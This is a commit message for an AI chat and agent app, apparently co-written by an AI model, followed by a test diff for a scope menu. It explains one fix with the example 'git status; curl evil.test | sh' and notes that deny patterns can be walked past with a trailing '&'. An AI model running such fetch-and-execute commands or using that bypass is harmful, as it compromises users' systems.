A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

tests/test_chat_scope.py

@@ -282,3 +282,43 @@ def test_the_verb_is_on_every_checkbox(client: TestClient, db, chat, registered)
     for box in found:
         assert box.get("hx-post") == f"/api/chats/{chat.id}/scope"
         assert "kind" in box.get("hx-vals", ""), "and says which thing it is"
+
+
+def test_the_menu_is_called_toggle(client: TestClient, db, chat, registered):
+    """It was "What this chat can use", which described the contents rather than
+    naming the control. The label is on the button and on the menu, and both are
+    read aloud, so both have to say it."""
+    settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
+    html = client.get(f"/chat/{chat.id}").text
+
+    assert 'aria-label="Toggle"' in html
+    assert "What this chat can use" not in html
+
+
+def test_the_menu_no_longer_offers_to_type_an_at_sign(client: TestClient, db, chat, registered):
+    """A menu you open in order to insert one character is a longer way round
+    than the character. Typing `@` is untouched and is asserted elsewhere."""
+    settings_store.update(db, {"enabled": True}, key=settings_store.SEARCH)
+    html = client.get(f"/chat/{chat.id}").text
+
+    assert "data-mention-open" not in html
+    assert "Mention a file or a document" not in html
+
+
+def test_with_nothing_to_narrow_there_is_no_button_at_all(
+    client: TestClient, db, chat, registered
+):
+    """The guard used to be `has_scope or can upload`, because the mention row
+    was something to show when there was no scope. With that gone the same guard
+    would open an empty menu, which is worse than no button.
+
+    A model with no `tools` capability is offered nothing, so there is nothing
+    to switch off -- the honest way to reach an empty scope.
+    """
+    model = db.query(Model).filter_by(model_id="m").one()
+    model.capabilities_json = {}
+    db.commit()
+
+    html = client.get(f"/chat/{chat.id}").text
+
+    assert "picker__menu--scope" not in html